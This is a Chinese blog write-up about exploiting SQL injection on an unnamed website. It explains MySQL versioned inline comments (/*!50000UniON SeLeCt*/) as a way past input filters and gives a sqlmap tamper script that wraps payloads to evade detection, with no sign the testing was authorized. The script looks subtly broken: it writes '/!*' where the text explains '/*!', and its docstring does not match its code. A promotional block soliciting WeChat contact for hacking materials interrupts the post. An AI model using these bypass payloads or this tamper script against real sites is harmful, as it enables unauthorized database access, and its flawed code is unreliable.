拿到這個網站,透過對比查詢,我們發現
閉合引數 finsh 時,查詢出的內容更多
經過進一步判斷,確實存在漏洞
不過在測試的時候發現存在一定的過濾
但是可以透過內聯註釋進行繞過。
這裡也是加深瞭解了內聯註釋的知識點,之前只會簡單的利用 /*!50000UniON SeLeCt*/
/*!12345union*/
不知其所以然,有這樣一段解釋,在 mysql 中 /*!...*/
不是註釋,mysql 為了保持相容,它把一些特有的僅在 mysql 上用的語句放在 /*!...*/
中,這樣這些語句如果在其他資料庫中是不會被執行,但是在 mysql 中它會執行。當後面接的資料庫版本號小於自身版本號,就會將註釋中的內容執行,當後面接的資料庫版本號大於等於自身版本號,就會當做註釋來處理。如下語句 /*!50001UniON SeLeCt*/
這裡的 50001 表示假如資料庫的版本是 5.00.01 及其以上版本才會被使用。這裡我們會產生一個疑問,資料庫的版本也不僅僅是五位數字,也存在四位,甚至於三位,應該是會進行處理 5.7.23 也對應著 5.07.23
我們首先查詢出資料庫的版本資訊
【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
當前面的數字為 50723 及小於這個數的五位數字組合都可以利用成功
當前面的數字為 50724 及大於這個數的五位數字組合無法利用成功
我們已經手工驗證過了存在 SQL 注入漏洞,但是卻無法利用 sqlmap 識別出聯合注入,是因為存在檢測,需要內聯註釋進行繞過
我們需要編寫一個Tamper指令碼
我們開啟 sqlmap-master\tamper 下的一個檔案 htmlencode.py 我們看到就是一個查詢替換的操作
我們目前已經知道需要利用內聯註釋來實現繞過檢測的操作
我們修改程式碼
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ')
>>> tamper("1' AND SLEEP(5)#")
'1'/!*00000AND SLEEP(5)*/#'
"""
if payload:
replaced_text = payload
replace_code = re.search(r"'(.*?)(#|--)", payload)
if replace_code:
replaced_text = re.sub(r"(?<=')(.*?)(?=#|--)", r"/!*00000\1*/", payload)
return replaced_text
成功生效
更多網安技能的線上實操練習,請點選這裡>>